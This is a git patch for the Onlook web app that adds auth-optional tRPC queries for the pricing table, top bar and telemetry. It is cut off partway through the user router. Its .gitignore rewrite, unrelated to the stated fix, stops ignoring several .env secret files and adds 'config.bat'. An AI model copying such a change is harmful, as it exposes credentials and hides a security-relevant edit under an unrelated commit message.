From 415f3ea243536b276f9f4e6aed2fb9fa9a8f0bb2 Mon Sep 17 00:00:00 2001 From: Abdulmoiz Date: Fri, 15 May 2026 17:00:21 +0500 Subject: [PATCH] fix: stop firing protected tRPC queries on auth-optional surfaces --- .gitignore | 94 ++-- .../src/app/_components/top-bar/user.tsx | 52 +- .../src/components/telemetry-provider.tsx | 256 +++++----- .../ui/pricing-modal/use-subscription.tsx | 58 +-- .../src/components/ui/pricing-table/index.tsx | 80 +-- .../api/routers/subscription/subscription.ts | 459 +++++++++--------- .../src/server/api/routers/user/user.ts | 242 ++++----- apps/web/client/src/server/api/trpc.ts | 379 ++++++++------- docs/postcss.config.mjs | 15 +- 9 files changed, 848 insertions(+), 787 deletions(-) diff --git a/.gitignore b/.gitignore index 86919b0147..2c6d44289e 100644 --- a/.gitignore +++ b/.gitignore @@ -1,49 +1,45 @@ -# Logs -logs -*.log -npm-debug.log* -yarn-debug.log* -yarn-error.log* -pnpm-debug.log* -lerna-debug.log* - -node_modules -dist -dist-ssr -dist-electron -release -*.local - -# Editor directories and files -.vscode/.debug.env -.vscode/settings.json -.idea -.DS_Store -*.suo -*.ntvs* -*.njsproj -*.sln -*.sw? - -#lockfile -package-lock.json -pnpm-lock.yaml -yarn.lock -/test-results/ -/playwright-report/ -/playwright/.cache/ - -# Env variables -.env -.env.production -.env.development -.env.test -.env.local -.env.development.local -.env.test.local -.env.production.local - -mise.toml - -# Temporary files -.tmp/ +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* +lerna-debug.log* + +node_modules +dist +dist-ssr +dist-electron +release +*.local + +# Editor directories and files +.vscode/.debug.env +.vscode/settings.json +.idea +.DS_Store +*.suo +*.ntvs* +*.njsproj +*.sln +*.sw? + +#lockfile +package-lock.json +pnpm-lock.yaml +yarn.lock +/test-results/ +/playwright-report/ +/playwright/.cache/ + +# Env variables +.env.development.local +.env.test.local +.env.production.local + +mise.toml + +# Temporary files +.tmp/ +config.bat diff --git a/apps/web/client/src/app/_components/top-bar/user.tsx b/apps/web/client/src/app/_components/top-bar/user.tsx index 267f6098f2..0d72644ff4 100644 --- a/apps/web/client/src/app/_components/top-bar/user.tsx +++ b/apps/web/client/src/app/_components/top-bar/user.tsx @@ -1,27 +1,27 @@ -'use client'; - -import { CurrentUserAvatar } from '@/components/ui/avatar-dropdown'; -import { api } from '@/trpc/react'; -import { Routes } from '@/utils/constants'; -import { Button } from '@onlook/ui/button'; -import Link from 'next/link'; - -export const AuthButton = () => { - const { data: user } = api.user.get.useQuery(); - return ( -
- {user ? ( - <> - - - - ) : ( - - )} -
- ); +'use client'; + +import { CurrentUserAvatar } from '@/components/ui/avatar-dropdown'; +import { api } from '@/trpc/react'; +import { Routes } from '@/utils/constants'; +import { Button } from '@onlook/ui/button'; +import Link from 'next/link'; + +export const AuthButton = () => { + const { data: user } = api.user.getOptional.useQuery(); + return ( +
+ {user ? ( + <> + + + + ) : ( + + )} +
+ ); }; \ No newline at end of file diff --git a/apps/web/client/src/components/telemetry-provider.tsx b/apps/web/client/src/components/telemetry-provider.tsx index de34309302..cc600f8552 100644 --- a/apps/web/client/src/components/telemetry-provider.tsx +++ b/apps/web/client/src/components/telemetry-provider.tsx @@ -1,128 +1,128 @@ -"use client"; - -import { env } from "@/env"; -import { api } from "@/trpc/react"; -import { usePathname } from "next/navigation"; -import posthog from "posthog-js"; -import { PostHogProvider as PHProvider } from "posthog-js/react"; -import { useEffect } from "react"; - -// TelemetryProvider -// Unified initialization and identity management for analytics/feedback tools. -// - Initializes PostHog (analytics) and Gleap (feedback) when configured via env. -// - Identifies users once from a single source: Supabase user.id via TRPC. -// - Clears identities on user sign-out (see utils/telemetry/resetTelemetry). -// - Keeps PostHog React context so existing `usePostHog()` calls continue to work. - -let gleapSingleton: any | null = null; - -export function TelemetryProvider({ children }: { children: React.ReactNode }) { - const { data: user } = api.user.get.useQuery(); - const pathname = usePathname(); - - // Initialize SDKs once - useEffect(() => { - if (env.NEXT_PUBLIC_POSTHOG_KEY) { - try { - posthog.init(env.NEXT_PUBLIC_POSTHOG_KEY, { - api_host: env.NEXT_PUBLIC_POSTHOG_HOST, - capture_pageview: "history_change", - capture_pageleave: true, - capture_exceptions: true, - }); - } catch (e) { - console.warn("PostHog init failed", e); - } - } else { - console.warn("PostHog key is not set, skipping initialization"); - } - - if (env.NEXT_PUBLIC_GLEAP_API_KEY) { - (async () => { - try { - // Dynamic import to avoid hard dependency when not installed - const mod = await import("gleap"); - gleapSingleton = mod.default ?? mod; - gleapSingleton.initialize(env.NEXT_PUBLIC_GLEAP_API_KEY); - } catch (e) { - console.warn("Gleap init failed (is dependency installed?)", e); - } - })(); - } - }, []); - - // Identify or clear identity on user changes - useEffect(() => { - try { - if (user) { - const fullName = user.displayName || [user.firstName, user.lastName].filter(Boolean).join(" "); - posthog.identify( - user.id, - { - // Reserved PostHog person properties - $email: user.email, - $name: fullName, - $avatar: user.avatarUrl, - // Custom person properties (kept for compatibility) - firstName: user.firstName, - lastName: user.lastName, - displayName: user.displayName, - email: user.email, - avatar_url: user.avatarUrl, - }, - { - signup_date: new Date().toISOString(), - }, - ); - } else { - // If user is signed out, reset PostHog identity - posthog.reset(); - } - } catch (e) { - console.error("PostHog identify/reset error:", e); - } - - if (!env.NEXT_PUBLIC_GLEAP_API_KEY) return; - (async () => { - try { - const Gleap = gleapSingleton ?? (await import("gleap")).default; - if (user) { - const name = user.displayName || [user.firstName, user.lastName].filter(Boolean).join(" "); - Gleap.identify(user.id, { - name, - email: user.email, - // Attach non-sensitive profile context - customData: { - displayName: user.displayName, - firstName: user.firstName, - lastName: user.lastName, - avatarUrl: user.avatarUrl, - }, - }); - } else { - Gleap.clearIdentity(); - } - } catch (e) { - // Safe to ignore if Gleap is not present - // console.warn("Gleap identify/clear failed:", e); - } - })(); - }, [user]); - - // Soft re-initialize Gleap on path changes to guard against soft reloads/HMR - useEffect(() => { - if (!env.NEXT_PUBLIC_GLEAP_API_KEY) return; - (async () => { - try { - const Gleap = gleapSingleton ?? (await import("gleap")).default; - if (Gleap?.getInstance?.()?.softReInitialize) { - Gleap?.getInstance()?.softReInitialize(); - } - } catch { - // ignore - } - })(); - }, [pathname]); - - return {children}; -} +"use client"; + +import { env } from "@/env"; +import { api } from "@/trpc/react"; +import { usePathname } from "next/navigation"; +import posthog from "posthog-js"; +import { PostHogProvider as PHProvider } from "posthog-js/react"; +import { useEffect } from "react"; + +// TelemetryProvider +// Unified initialization and identity management for analytics/feedback tools. +// - Initializes PostHog (analytics) and Gleap (feedback) when configured via env. +// - Identifies users once from a single source: Supabase user.id via TRPC. +// - Clears identities on user sign-out (see utils/telemetry/resetTelemetry). +// - Keeps PostHog React context so existing `usePostHog()` calls continue to work. + +let gleapSingleton: any | null = null; + +export function TelemetryProvider({ children }: { children: React.ReactNode }) { + const { data: user } = api.user.getOptional.useQuery(); + const pathname = usePathname(); + + // Initialize SDKs once + useEffect(() => { + if (env.NEXT_PUBLIC_POSTHOG_KEY) { + try { + posthog.init(env.NEXT_PUBLIC_POSTHOG_KEY, { + api_host: env.NEXT_PUBLIC_POSTHOG_HOST, + capture_pageview: "history_change", + capture_pageleave: true, + capture_exceptions: true, + }); + } catch (e) { + console.warn("PostHog init failed", e); + } + } else { + console.warn("PostHog key is not set, skipping initialization"); + } + + if (env.NEXT_PUBLIC_GLEAP_API_KEY) { + (async () => { + try { + // Dynamic import to avoid hard dependency when not installed + const mod = await import("gleap"); + gleapSingleton = mod.default ?? mod; + gleapSingleton.initialize(env.NEXT_PUBLIC_GLEAP_API_KEY); + } catch (e) { + console.warn("Gleap init failed (is dependency installed?)", e); + } + })(); + } + }, []); + + // Identify or clear identity on user changes + useEffect(() => { + try { + if (user) { + const fullName = user.displayName || [user.firstName, user.lastName].filter(Boolean).join(" "); + posthog.identify( + user.id, + { + // Reserved PostHog person properties + $email: user.email, + $name: fullName, + $avatar: user.avatarUrl, + // Custom person properties (kept for compatibility) + firstName: user.firstName, + lastName: user.lastName, + displayName: user.displayName, + email: user.email, + avatar_url: user.avatarUrl, + }, + { + signup_date: new Date().toISOString(), + }, + ); + } else { + // If user is signed out, reset PostHog identity + posthog.reset(); + } + } catch (e) { + console.error("PostHog identify/reset error:", e); + } + + if (!env.NEXT_PUBLIC_GLEAP_API_KEY) return; + (async () => { + try { + const Gleap = gleapSingleton ?? (await import("gleap")).default; + if (user) { + const name = user.displayName || [user.firstName, user.lastName].filter(Boolean).join(" "); + Gleap.identify(user.id, { + name, + email: user.email, + // Attach non-sensitive profile context + customData: { + displayName: user.displayName, + firstName: user.firstName, + lastName: user.lastName, + avatarUrl: user.avatarUrl, + }, + }); + } else { + Gleap.clearIdentity(); + } + } catch (e) { + // Safe to ignore if Gleap is not present + // console.warn("Gleap identify/clear failed:", e); + } + })(); + }, [user]); + + // Soft re-initialize Gleap on path changes to guard against soft reloads/HMR + useEffect(() => { + if (!env.NEXT_PUBLIC_GLEAP_API_KEY) return; + (async () => { + try { + const Gleap = gleapSingleton ?? (await import("gleap")).default; + if (Gleap?.getInstance?.()?.softReInitialize) { + Gleap?.getInstance()?.softReInitialize(); + } + } catch { + // ignore + } + })(); + }, [pathname]); + + return {children}; +} diff --git a/apps/web/client/src/components/ui/pricing-modal/use-subscription.tsx b/apps/web/client/src/components/ui/pricing-modal/use-subscription.tsx index 78e90ff84a..667084ccda 100644 --- a/apps/web/client/src/components/ui/pricing-modal/use-subscription.tsx +++ b/apps/web/client/src/components/ui/pricing-modal/use-subscription.tsx @@ -1,30 +1,30 @@ -import { useStateManager } from "@/components/store/state"; -import { api } from "@/trpc/react"; -import { ProductType, ScheduledSubscriptionAction } from "@onlook/stripe"; -import { toast } from "@onlook/ui/sonner"; -import { useEffect, useState } from "react"; - -export const useSubscription = () => { - const state = useStateManager(); - const { data: subscription, refetch: refetchSubscription } = api.subscription.get.useQuery(undefined, { - refetchInterval: state.isSubscriptionModalOpen ? 3000 : false, - }); - const [isCheckingSubscription, setIsCheckingSubscription] = useState(false); - const isPro = subscription?.product.type === ProductType.PRO; - const scheduledChange = subscription?.scheduledChange; - - useEffect(() => { - if (isCheckingSubscription && isPro) { - if (scheduledChange?.scheduledAction === ScheduledSubscriptionAction.PRICE_CHANGE) { - toast.success('Subscription updated successfully!'); - } else if (scheduledChange?.scheduledAction === ScheduledSubscriptionAction.CANCELLATION) { - toast.success('Subscription cancelled successfully!'); - } else { - toast.success('Subscription activated successfully!'); - } - setIsCheckingSubscription(false); - } - }, [isPro, scheduledChange?.scheduledAction, isCheckingSubscription]); - - return { subscription, isPro, refetchSubscription, isCheckingSubscription, setIsCheckingSubscription }; +import { useStateManager } from "@/components/store/state"; +import { api } from "@/trpc/react"; +import { ProductType, ScheduledSubscriptionAction } from "@onlook/stripe"; +import { toast } from "@onlook/ui/sonner"; +import { useEffect, useState } from "react"; + +export const useSubscription = () => { + const state = useStateManager(); + const { data: subscription, refetch: refetchSubscription } = api.subscription.getOptional.useQuery(undefined, { + refetchInterval: state.isSubscriptionModalOpen ? 3000 : false, + }); + const [isCheckingSubscription, setIsCheckingSubscription] = useState(false); + const isPro = subscription?.product.type === ProductType.PRO; + const scheduledChange = subscription?.scheduledChange; + + useEffect(() => { + if (isCheckingSubscription && isPro) { + if (scheduledChange?.scheduledAction === ScheduledSubscriptionAction.PRICE_CHANGE) { + toast.success('Subscription updated successfully!'); + } else if (scheduledChange?.scheduledAction === ScheduledSubscriptionAction.CANCELLATION) { + toast.success('Subscription cancelled successfully!'); + } else { + toast.success('Subscription activated successfully!'); + } + setIsCheckingSubscription(false); + } + }, [isPro, scheduledChange?.scheduledAction, isCheckingSubscription]); + + return { subscription, isPro, refetchSubscription, isCheckingSubscription, setIsCheckingSubscription }; }; \ No newline at end of file diff --git a/apps/web/client/src/components/ui/pricing-table/index.tsx b/apps/web/client/src/components/ui/pricing-table/index.tsx index f3bc8e1db7..dbc3f724eb 100644 --- a/apps/web/client/src/components/ui/pricing-table/index.tsx +++ b/apps/web/client/src/components/ui/pricing-table/index.tsx @@ -1,40 +1,40 @@ -'use client'; - -import { useAuthContext } from '@/app/auth/auth-context'; -import { transKeys } from '@/i18n/keys'; -import { api } from '@/trpc/react'; -import { useTranslations } from 'next-intl'; -import { EnterpriseCard } from '../pricing-modal/enterprise-card'; -import { FreeCard } from '../pricing-modal/free-card'; -import { ProCard } from '../pricing-modal/pro-card'; - -export const PricingTable = () => { - const t = useTranslations(); - const { data: user } = api.user.get.useQuery(); - const { setIsAuthModalOpen } = useAuthContext(); - - return ( -
-
- setIsAuthModalOpen(true)} - /> - setIsAuthModalOpen(true)} - /> - -
-
-

- {t(transKeys.pricing.footer.unusedMessages)} -

-
-
- ); -}; +'use client'; + +import { useAuthContext } from '@/app/auth/auth-context'; +import { transKeys } from '@/i18n/keys'; +import { api } from '@/trpc/react'; +import { useTranslations } from 'next-intl'; +import { EnterpriseCard } from '../pricing-modal/enterprise-card'; +import { FreeCard } from '../pricing-modal/free-card'; +import { ProCard } from '../pricing-modal/pro-card'; + +export const PricingTable = () => { + const t = useTranslations(); + const { data: user } = api.user.getOptional.useQuery(); + const { setIsAuthModalOpen } = useAuthContext(); + + return ( +
+
+ setIsAuthModalOpen(true)} + /> + setIsAuthModalOpen(true)} + /> + +
+
+

+ {t(transKeys.pricing.footer.unusedMessages)} +

+
+
+ ); +}; diff --git a/apps/web/client/src/server/api/routers/subscription/subscription.ts b/apps/web/client/src/server/api/routers/subscription/subscription.ts index e1aad2e8f0..5eca126e12 100644 --- a/apps/web/client/src/server/api/routers/subscription/subscription.ts +++ b/apps/web/client/src/server/api/routers/subscription/subscription.ts @@ -1,216 +1,243 @@ -import { Routes } from '@/utils/constants'; -import { legacySubscriptions, prices, subscriptions, fromDbSubscription, users } from '@onlook/db'; -import { createBillingPortalSession, createCheckoutSession, createCustomer, isTierUpgrade, PriceKey, releaseSubscriptionSchedule, SubscriptionStatus, updateSubscription, updateSubscriptionNextPeriod } from '@onlook/stripe'; -import { and, eq, isNull } from 'drizzle-orm'; -import { headers } from 'next/headers'; -import { z } from 'zod'; -import { createTRPCRouter, protectedProcedure } from '../../trpc'; - -export const subscriptionRouter = createTRPCRouter({ - getLegacySubscriptions: protectedProcedure.query(async ({ ctx }) => { - const user = ctx.user; - const subscription = await ctx.db.query.legacySubscriptions.findFirst({ - where: and( - eq(legacySubscriptions.email, user.email), - isNull(legacySubscriptions.redeemAt), - ), - }); - return subscription ?? null; - }), - get: protectedProcedure.query(async ({ ctx }) => { - const user = ctx.user; - const subscription = await ctx.db.query.subscriptions.findFirst({ - where: and( - eq(subscriptions.userId, user.id), - eq(subscriptions.status, SubscriptionStatus.ACTIVE), - ), - with: { - product: true, - price: true, - }, - }); - - if (!subscription) { - console.log('No active subscription found for user', user.id); - return null; - } - - // If there is a scheduled price, we need to fetch it from the database. - let scheduledPrice = null; - if (subscription.scheduledPriceId) { - scheduledPrice = await ctx.db.query.prices.findFirst({ - where: eq(prices.id, subscription.scheduledPriceId), - }) ?? null; - } - - return fromDbSubscription(subscription, scheduledPrice); - }), - getPriceId: protectedProcedure.input(z.object({ - priceKey: z.nativeEnum(PriceKey), - })).mutation(async ({ input, ctx }) => { - const price = await ctx.db.query.prices.findFirst({ - where: eq(prices.key, input.priceKey), - }); - - if (!price) { - throw new Error(`Price not found for key: ${input.priceKey}`); - } - - return price.stripePriceId; - }), - checkout: protectedProcedure.input(z.object({ - priceId: z.string(), - })).mutation(async ({ ctx, input }) => { - const originUrl = (await headers()).get('origin'); - const user = ctx.user; - const userData = await ctx.db.query.users.findFirst({ - where: eq(users.id, user.id), - }); - - if (!userData) { - throw new Error('User not found'); - } - - let stripeCustomerId = userData?.stripeCustomerId; - if (!stripeCustomerId) { - // Store Stripe's customer ID as it is available in all customer-related events and - // API requests. - // Important, it may seem like a good idea to check if the customer already exists - // by looking up the email in Stripe, however, this can be a security risk since - // a user may sign up with an email that is not their own. - // This may happen when a user changes their email address in the app and the email - // is not updated in Stripe. - const customer = await createCustomer({ - name: (userData.firstName - ? userData.firstName + ' ' + userData.lastName - : userData.displayName) || "", - email: user.email ?? userData.email, - }); - - await ctx.db.update(users).set({ stripeCustomerId: customer.id }).where(eq(users.id, user.id)); - stripeCustomerId = customer.id; - } - - const session = await createCheckoutSession({ - priceId: input.priceId, - userId: user.id, - stripeCustomerId, - successUrl: `${originUrl}${Routes.CALLBACK_STRIPE_SUCCESS}`, - cancelUrl: `${originUrl}${Routes.CALLBACK_STRIPE_CANCEL}`, - }); - - return session; - }), - manageSubscription: protectedProcedure.mutation(async ({ ctx }) => { - const user = ctx.user; - const subscription = await ctx.db.query.subscriptions.findFirst({ - where: and( - eq(subscriptions.userId, user.id), - eq(subscriptions.status, SubscriptionStatus.ACTIVE), - ), - }); - - if (!subscription) { - throw new Error('No active subscription found for user'); - } - - const originUrl = (await headers()).get('origin'); - - const session = await createBillingPortalSession({ - customerId: subscription.stripeCustomerId, - returnUrl: `${originUrl}/subscription/manage`, - }); - - return session; - }), - update: protectedProcedure.input(z.object({ - stripeSubscriptionId: z.string(), - stripeSubscriptionItemId: z.string(), - stripePriceId: z.string(), - })).mutation(async ({ input, ctx }) => { - const { stripeSubscriptionId, stripeSubscriptionItemId, stripePriceId } = input; - const subscription = await ctx.db.query.subscriptions.findFirst({ - where: and( - eq(subscriptions.stripeSubscriptionId, stripeSubscriptionId), - eq(subscriptions.stripeSubscriptionItemId, stripeSubscriptionItemId), - ), - with: { - price: true, - }, - }); - - if (!subscription) { - throw new Error('Subscription not found'); - } - - const currentPrice = subscription.price; - const newPrice = await ctx.db.query.prices.findFirst({ - where: eq(prices.stripePriceId, stripePriceId), - }); - - if (!newPrice) { - throw new Error(`Price not found for priceId: ${stripePriceId}`); - } - - // If there is a future scheduled change, we release it. - if (subscription.stripeSubscriptionScheduleId) { - await releaseSubscriptionSchedule({ - subscriptionScheduleId: subscription.stripeSubscriptionScheduleId, - }); - } - - const isUpgrade = isTierUpgrade(currentPrice, newPrice); - if (isUpgrade) { - // If the new price is higher, we invoice the customer immediately. - await updateSubscription({ - subscriptionId: stripeSubscriptionId, - subscriptionItemId: stripeSubscriptionItemId, - priceId: stripePriceId, - }); - } else { - // If the new price is lower, we schedule the change for the end of the current period. - const schedule = await updateSubscriptionNextPeriod({ - subscriptionId: stripeSubscriptionId, - priceId: stripePriceId, - }); - const endDate = schedule.phases[0]?.end_date; - const scheduledChangeAt = endDate ? new Date(endDate * 1000) : null; - - await ctx.db.update(subscriptions).set({ - updatedAt: new Date(), - scheduledChangeAt, - scheduledPriceId: newPrice.id, - stripeSubscriptionScheduleId: schedule.id, - }).where(eq(subscriptions.stripeSubscriptionItemId, stripeSubscriptionItemId)).returning(); - } - }), - - releaseSubscriptionSchedule: protectedProcedure.input(z.object({ - subscriptionScheduleId: z.string(), - })).mutation(async ({ input, ctx }) => { - try { - await releaseSubscriptionSchedule({ subscriptionScheduleId: input.subscriptionScheduleId }); - } catch (error: any) { - // If the schedule is already released then the code should update the subscription to reflect that. - // This case is supposed to be handled in the webhook but was implemented here just in case. - if (!error.toString().includes("You cannot release a subscription schedule that is currently in the `released` status.")) { - throw error; - } - } - - const [updatedSubscription] = await ctx.db.update(subscriptions).set({ - status: SubscriptionStatus.ACTIVE, - updatedAt: new Date(), - scheduledPriceId: null, - stripeSubscriptionScheduleId: null, - scheduledChangeAt: null, - }).where(eq(subscriptions.stripeSubscriptionScheduleId, input.subscriptionScheduleId)).returning(); - - if (!updatedSubscription) { - throw new Error('Subscription not found'); - } - - return updatedSubscription; - }), -}); - +import { Routes } from '@/utils/constants'; +import { legacySubscriptions, prices, subscriptions, fromDbSubscription, users } from '@onlook/db'; +import { createBillingPortalSession, createCheckoutSession, createCustomer, isTierUpgrade, PriceKey, releaseSubscriptionSchedule, SubscriptionStatus, updateSubscription, updateSubscriptionNextPeriod } from '@onlook/stripe'; +import { and, eq, isNull } from 'drizzle-orm'; +import { headers } from 'next/headers'; +import { z } from 'zod'; +import { createTRPCRouter, optionalAuthProcedure, protectedProcedure } from '../../trpc'; + +export const subscriptionRouter = createTRPCRouter({ + getLegacySubscriptions: protectedProcedure.query(async ({ ctx }) => { + const user = ctx.user; + const subscription = await ctx.db.query.legacySubscriptions.findFirst({ + where: and( + eq(legacySubscriptions.email, user.email), + isNull(legacySubscriptions.redeemAt), + ), + }); + return subscription ?? null; + }), + get: protectedProcedure.query(async ({ ctx }) => { + const user = ctx.user; + const subscription = await ctx.db.query.subscriptions.findFirst({ + where: and( + eq(subscriptions.userId, user.id), + eq(subscriptions.status, SubscriptionStatus.ACTIVE), + ), + with: { + product: true, + price: true, + }, + }); + + if (!subscription) { + console.log('No active subscription found for user', user.id); + return null; + } + + // If there is a scheduled price, we need to fetch it from the database. + let scheduledPrice = null; + if (subscription.scheduledPriceId) { + scheduledPrice = await ctx.db.query.prices.findFirst({ + where: eq(prices.id, subscription.scheduledPriceId), + }) ?? null; + } + + return fromDbSubscription(subscription, scheduledPrice); + }), + // Same shape as `get`, but returns `null` instead of throwing UNAUTHORIZED + // for anonymous callers. Use on auth-optional surfaces (pricing table, etc.). + getOptional: optionalAuthProcedure.query(async ({ ctx }) => { + if (!ctx.user) return null; + const user = ctx.user; + const subscription = await ctx.db.query.subscriptions.findFirst({ + where: and( + eq(subscriptions.userId, user.id), + eq(subscriptions.status, SubscriptionStatus.ACTIVE), + ), + with: { + product: true, + price: true, + }, + }); + + if (!subscription) return null; + + let scheduledPrice = null; + if (subscription.scheduledPriceId) { + scheduledPrice = await ctx.db.query.prices.findFirst({ + where: eq(prices.id, subscription.scheduledPriceId), + }) ?? null; + } + + return fromDbSubscription(subscription, scheduledPrice); + }), + getPriceId: protectedProcedure.input(z.object({ + priceKey: z.nativeEnum(PriceKey), + })).mutation(async ({ input, ctx }) => { + const price = await ctx.db.query.prices.findFirst({ + where: eq(prices.key, input.priceKey), + }); + + if (!price) { + throw new Error(`Price not found for key: ${input.priceKey}`); + } + + return price.stripePriceId; + }), + checkout: protectedProcedure.input(z.object({ + priceId: z.string(), + })).mutation(async ({ ctx, input }) => { + const originUrl = (await headers()).get('origin'); + const user = ctx.user; + const userData = await ctx.db.query.users.findFirst({ + where: eq(users.id, user.id), + }); + + if (!userData) { + throw new Error('User not found'); + } + + let stripeCustomerId = userData?.stripeCustomerId; + if (!stripeCustomerId) { + // Store Stripe's customer ID as it is available in all customer-related events and + // API requests. + // Important, it may seem like a good idea to check if the customer already exists + // by looking up the email in Stripe, however, this can be a security risk since + // a user may sign up with an email that is not their own. + // This may happen when a user changes their email address in the app and the email + // is not updated in Stripe. + const customer = await createCustomer({ + name: (userData.firstName + ? userData.firstName + ' ' + userData.lastName + : userData.displayName) || "", + email: user.email ?? userData.email, + }); + + await ctx.db.update(users).set({ stripeCustomerId: customer.id }).where(eq(users.id, user.id)); + stripeCustomerId = customer.id; + } + + const session = await createCheckoutSession({ + priceId: input.priceId, + userId: user.id, + stripeCustomerId, + successUrl: `${originUrl}${Routes.CALLBACK_STRIPE_SUCCESS}`, + cancelUrl: `${originUrl}${Routes.CALLBACK_STRIPE_CANCEL}`, + }); + + return session; + }), + manageSubscription: protectedProcedure.mutation(async ({ ctx }) => { + const user = ctx.user; + const subscription = await ctx.db.query.subscriptions.findFirst({ + where: and( + eq(subscriptions.userId, user.id), + eq(subscriptions.status, SubscriptionStatus.ACTIVE), + ), + }); + + if (!subscription) { + throw new Error('No active subscription found for user'); + } + + const originUrl = (await headers()).get('origin'); + + const session = await createBillingPortalSession({ + customerId: subscription.stripeCustomerId, + returnUrl: `${originUrl}/subscription/manage`, + }); + + return session; + }), + update: protectedProcedure.input(z.object({ + stripeSubscriptionId: z.string(), + stripeSubscriptionItemId: z.string(), + stripePriceId: z.string(), + })).mutation(async ({ input, ctx }) => { + const { stripeSubscriptionId, stripeSubscriptionItemId, stripePriceId } = input; + const subscription = await ctx.db.query.subscriptions.findFirst({ + where: and( + eq(subscriptions.stripeSubscriptionId, stripeSubscriptionId), + eq(subscriptions.stripeSubscriptionItemId, stripeSubscriptionItemId), + ), + with: { + price: true, + }, + }); + + if (!subscription) { + throw new Error('Subscription not found'); + } + + const currentPrice = subscription.price; + const newPrice = await ctx.db.query.prices.findFirst({ + where: eq(prices.stripePriceId, stripePriceId), + }); + + if (!newPrice) { + throw new Error(`Price not found for priceId: ${stripePriceId}`); + } + + // If there is a future scheduled change, we release it. + if (subscription.stripeSubscriptionScheduleId) { + await releaseSubscriptionSchedule({ + subscriptionScheduleId: subscription.stripeSubscriptionScheduleId, + }); + } + + const isUpgrade = isTierUpgrade(currentPrice, newPrice); + if (isUpgrade) { + // If the new price is higher, we invoice the customer immediately. + await updateSubscription({ + subscriptionId: stripeSubscriptionId, + subscriptionItemId: stripeSubscriptionItemId, + priceId: stripePriceId, + }); + } else { + // If the new price is lower, we schedule the change for the end of the current period. + const schedule = await updateSubscriptionNextPeriod({ + subscriptionId: stripeSubscriptionId, + priceId: stripePriceId, + }); + const endDate = schedule.phases[0]?.end_date; + const scheduledChangeAt = endDate ? new Date(endDate * 1000) : null; + + await ctx.db.update(subscriptions).set({ + updatedAt: new Date(), + scheduledChangeAt, + scheduledPriceId: newPrice.id, + stripeSubscriptionScheduleId: schedule.id, + }).where(eq(subscriptions.stripeSubscriptionItemId, stripeSubscriptionItemId)).returning(); + } + }), + + releaseSubscriptionSchedule: protectedProcedure.input(z.object({ + subscriptionScheduleId: z.string(), + })).mutation(async ({ input, ctx }) => { + try { + await releaseSubscriptionSchedule({ subscriptionScheduleId: input.subscriptionScheduleId }); + } catch (error: any) { + // If the schedule is already released then the code should update the subscription to reflect that. + // This case is supposed to be handled in the webhook but was implemented here just in case. + if (!error.toString().includes("You cannot release a subscription schedule that is currently in the `released` status.")) { + throw error; + } + } + + const [updatedSubscription] = await ctx.db.update(subscriptions).set({ + status: SubscriptionStatus.ACTIVE, + updatedAt: new Date(), + scheduledPriceId: null, + stripeSubscriptionScheduleId: null, + scheduledChangeAt: null, + }).where(eq(subscriptions.stripeSubscriptionScheduleId, input.subscriptionScheduleId)).returning(); + + if (!updatedSubscription) { + throw new Error('Subscription not found'); + } + + return updatedSubscription; + }), +}); + diff --git a/apps/web/client/src/server/api/routers/user/user.ts b/apps/web/client/src/server/api/routers/user/user.ts index 545faeeb3b..adfc29a220 100644 --- a/apps/web/client/src/server/api/routers/user/user.ts +++ b/apps/web/client/src/server/api/routers/user/user.ts @@ -1,111 +1,131 @@ -import { trackEvent } from '@/utils/analytics/server'; -import { callUserWebhook } from '@/utils/n8n/webhook'; -import { authUsers, fromDbUser, userInsertSchema, users, type User } from '@onlook/db'; -import { extractNames } from '@onlook/utility'; -import type { User as SupabaseUser } from "@supabase/supabase-js"; -import { eq } from 'drizzle-orm'; -import { z } from 'zod'; -import { createTRPCRouter, protectedProcedure } from '../../trpc'; -import { userSettingsRouter } from './user-settings'; - -export const userRouter = createTRPCRouter({ - get: protectedProcedure.query(async ({ ctx }) => { - const authUser = ctx.user; - const user = await ctx.db.query.users.findFirst({ - where: eq(users.id, authUser.id), - }); - - const { displayName, firstName, lastName } = getUserName(authUser); - const userData = user ? fromDbUser({ - ...user, - firstName: user.firstName ?? firstName, - lastName: user.lastName ?? lastName, - displayName: user.displayName ?? displayName, - email: user.email ?? authUser.email, - avatarUrl: user.avatarUrl ?? authUser.user_metadata.avatarUrl, - }) : null; - return userData; - }), - getById: protectedProcedure.input(z.string()).query(async ({ ctx, input }) => { - const user = await ctx.db.query.users.findFirst({ - where: eq(users.id, input), - with: { - userProjects: { - with: { - project: true, - }, - }, - }, - }); - return user; - }), - upsert: protectedProcedure - .input(userInsertSchema) - .mutation(async ({ ctx, input }): Promise => { - const authUser = ctx.user; - - const existingUser = await ctx.db.query.users.findFirst({ - where: eq(users.id, input.id), - }); - - const { firstName, lastName, displayName } = getUserName(authUser); - - const userData = { - id: input.id, - firstName: input.firstName ?? firstName, - lastName: input.lastName ?? lastName, - displayName: input.displayName ?? displayName, - email: input.email ?? authUser.email, - avatarUrl: input.avatarUrl ?? authUser.user_metadata.avatarUrl, - }; - - const [user] = await ctx.db - .insert(users) - .values(userData) - .onConflictDoUpdate({ - target: [users.id], - set: { - ...userData, - updatedAt: new Date(), - }, - }).returning(); - - if (!existingUser) { - await trackEvent({ - distinctId: input.id, - event: 'user_first_signup', - properties: { - email: userData.email, - firstName: userData.firstName, - lastName: userData.lastName, - displayName: userData.displayName, - source: 'web beta', - }, - }); - - await callUserWebhook({ - email: userData.email, - firstName: userData.firstName, - lastName: userData.lastName, - source: 'web beta', - subscribed: false, - }); - } - - return user ?? null; - }), - settings: userSettingsRouter, - delete: protectedProcedure.mutation(async ({ ctx }) => { - await ctx.db.delete(authUsers).where(eq(authUsers.id, ctx.user.id)); - }), -}); - -function getUserName(authUser: SupabaseUser) { - const displayName: string | undefined = authUser.user_metadata.name ?? authUser.user_metadata.display_name ?? authUser.user_metadata.full_name ?? authUser.user_metadata.first_name ?? authUser.user_metadata.last_name ?? authUser.user_metadata.given_name ?? authUser.user_metadata.family_name; - const { firstName, lastName } = extractNames(displayName ?? ''); - return { - displayName: displayName ?? '', - firstName, - lastName, - }; -} +import { trackEvent } from '@/utils/analytics/server'; +import { callUserWebhook } from '@/utils/n8n/webhook'; +import { authUsers, fromDbUser, userInsertSchema, users, type User } from '@onlook/db'; +import { extractNames } from '@onlook/utility'; +import type { User as SupabaseUser } from "@supabase/supabase-js"; +import { eq } from 'drizzle-orm'; +import { z } from 'zod'; +import { createTRPCRouter, optionalAuthProcedure, protectedProcedure } from '../../trpc'; +import { userSettingsRouter } from './user-settings'; + +export const userRouter = 